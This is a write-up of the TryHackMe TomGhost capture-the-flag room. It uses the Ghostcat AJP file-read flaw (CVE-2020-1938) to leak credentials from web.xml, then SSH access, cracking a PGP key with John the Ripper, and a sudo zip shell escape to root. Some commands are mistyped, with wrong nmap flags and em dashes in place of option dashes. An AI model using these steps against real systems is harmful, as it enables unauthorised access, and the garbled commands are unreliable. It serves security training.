TryHackMe TomGhost Writeup Explanation

• CVE 2020–1938
• Challenge link: https://tryhackme.com/room/tomghost

Identify recent vulnerabilities to try to exploit the system or read files that you should not have access to.

1. Initiate VPN Connection and Deploy the Machine

Begin by connecting to the TryHackMe VPN and deploying the target machine.

2. Perform an Nmap Scan

Run an Nmap scan to identify open ports:

nmap -V -pn- <target-ip>

The scan reveals that four ports are open. Notably, port 8009/tcp is accessible, which is commonly associated with Apache JServ Protocol (AJP) and can be exploited.

We can see that four ports are open. Something interesting there.

8009/tcp ports are open. So we use it for further steps.

3. Exploiting AJP Protocol

To leverage this vulnerability, install and use AjpShooter.py to retrieve the web.xml file with the port 8009 from /WEB-INF/.

python ajpShooter.py http://ip openport /WEB-INF/web.xml read

Run ajpShooter tools for acess the xml file

Yeah we get the Credentials. username: password.

4. SSH Access

Using the retrieved credentials, log in via SSH:

ssh <username>@<target-ip>

Upon successful login, navigate through the home directory and list files.

There are two files.

5. Retrieving and Cracking Encrypted Files

Download the files from the target system using SCP:

scp skyfuck@10.10.172.182:/home/skyfuck/* .

Among the retrieved files, tryhackme.asc appears to be encrypted. Convert it to a hash format for cracking:

gpg2john tryhackme.asc > hash

Use John the Ripper to crack the hash:

after decode the hash with john the ripper of we got a password..

use it to decode the credentials.pgp

Once the password is found, use it to decrypt the .pgp file:

gpg — decrypt credential.pgp

This reveals another set of user credentials.

6. Privilege Escalation

Switch to the new user and check sudo privileges:

sudo -l

The user has sudo privileges to run zip. We can exploit this to gain root access.

Execute the following command to escalate privileges:

sudo zip new.zip merede.txt -T — unzip-command=”sh -c /bin/bash”

Once root access is obtained, navigate to the root directory and retrieve the flag:

cat /root/flag.txt

Second flag of the rooms

By leveraging vulnerabilities in the AJP protocol, decrypting credentials, and exploiting zip’s privilege escalation, we successfully gained root access to the system and captured the final flag.

This challenge demonstrated the importance of identifying misconfigurations and leveraging privilege escalation techniques to gain full system access. Understanding these exploits enhances both offensive and defensive security skills.

If you found this write-up helpful, feel free to share your thoughts in the comments! Stay curious, keep learning, and happy hacking!

Thanks🐦‍🔥